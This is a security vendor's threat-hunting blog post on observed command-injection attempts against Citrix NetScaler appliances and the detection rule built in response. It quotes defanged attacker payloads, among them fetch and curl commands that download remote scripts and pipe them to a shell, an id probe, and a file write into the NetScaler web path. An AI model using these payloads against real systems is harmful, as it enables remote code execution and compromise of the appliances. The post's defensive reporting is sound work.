How CyberSift Detected Active Citrix NetScaler Exploitation Attempts
Internet-facing infrastructure remains an attractive target for attackers looking for a way into corporate networks. When vulnerabilities in widely deployed systems such as Citrix NetScaler are actively exploited, security teams need to do more than wait for alerts. They need to proactively search for suspicious activity, recognise indicators of exploitation, and turn their findings into detections that strengthen ongoing monitoring.
Between 29 September and 4 October 2026, CyberSift identified a series of exploitation attempts targeting NetScaler environments. The investigation uncovered suspicious command-injection payloads and indicators associated with the exploitation campaign. In response, CyberSift deployed a dedicated detection rule to help identify related activity and support continued monitoring.
Proactive Hunting Uncovered Suspicious Activity
CyberSift's investigation identified repeated attempts to submit malicious commands through the NetScaler authentication processing path. The observed payloads were designed to test command execution, write files to the appliance, and retrieve and execute scripts from remote infrastructure.
On 2 October, an attempt from 51.158.203[.]95 included a username containing the following command:
fetch${IFS}-qo-${IFS}hxxps://f[.]pylrk[.]cc/i77AMHeTM1Z7892K/s|sh
The payload attempted to retrieve a remote script using fetch and pipe its contents directly into a shell for execution.
Between 1 and 4 October, further attempts from 38.134.148[.]238 included multiple command-injection patterns. One attempted to download and execute a shell script using curl:
curl -fsSL hxxp://38.134.148[.]238:8080/download/x.sh | bash
Another used the id command to test whether command execution was possible and determine the privileges available to the executing process.
The activity also included attempts to write command output to the NetScaler filesystem. One payload used expr to perform an arithmetic operation and redirect the result to a JSON file:
expr${IFS}33319${IFS}+${IFS}61949>/netscaler/ns_gui/vpn/c88771.json
These payloads illustrate different stages of an attempted compromise: testing command execution, determining the execution context, writing output to disk, and retrieving scripts that could execute additional commands.
Effective threat hunting finds suspicious activity before it becomes a confirmed incident.
Turning Threat Intelligence Into Detection
Identifying suspicious activity is only part of the process. Security teams also need to translate their findings into repeatable detections that can identify related behaviour in future events.
Following the investigation, CyberSift deployed a dedicated rule named NetScaler – DTLSv1.0 Handshake Failure Exploit Pattern.
The rule identifies NetScaler events that match a specific combination of indicators:
An SSL_HANDSHAKE_FAILURE event classification.
A message containing DTLSv1.0.
A message containing Handshake failure-Internal Error.
By combining these conditions, the detection targets a specific handshake-failure pattern associated with the reported successful NetScaler exploitation activity.
The rule adds a focused monitoring capability alongside broader security monitoring and proactive threat hunting. It also helps turn threat intelligence into a practical detection that can support the identification and investigation of related activity.
A matching event is an indicator for investigation, not proof of successful exploitation. As with any targeted detection, its effectiveness depends on the availability of relevant telemetry and the context surrounding each alert.
Threat intelligence becomes more valuable when it leads to actionable detection.
Building Stronger Security Through Proactive Hunting
The NetScaler investigation demonstrates how proactive threat hunting and detection engineering complement each other. CyberSift identified suspicious activity, analysed the attempted commands and their intended effects, assessed what the available evidence could establish, and deployed a targeted detection rule to support continued monitoring.
This approach helps security teams move beyond reactive alert handling. Instead of relying exclusively on known indicators or waiting for a confirmed incident, analysts can actively investigate suspicious behaviour and use their findings to strengthen future detection.
For organisations operating critical, internet-facing infrastructure, this feedback loop is essential. Threat intelligence provides context, proactive hunting uncovers relevant activity, and detection engineering turns those findings into additional monitoring capabilities.
CyberSift combines security monitoring, threat intelligence, and proactive threat hunting to help organisations identify suspicious activity and improve their ability to investigate potential threats.
Want to strengthen your ability to detect and investigate targeted attacks?
Contact CyberSift to discuss proactive threat hunting and security monitoring.
-Written by Stanislav Stoychev
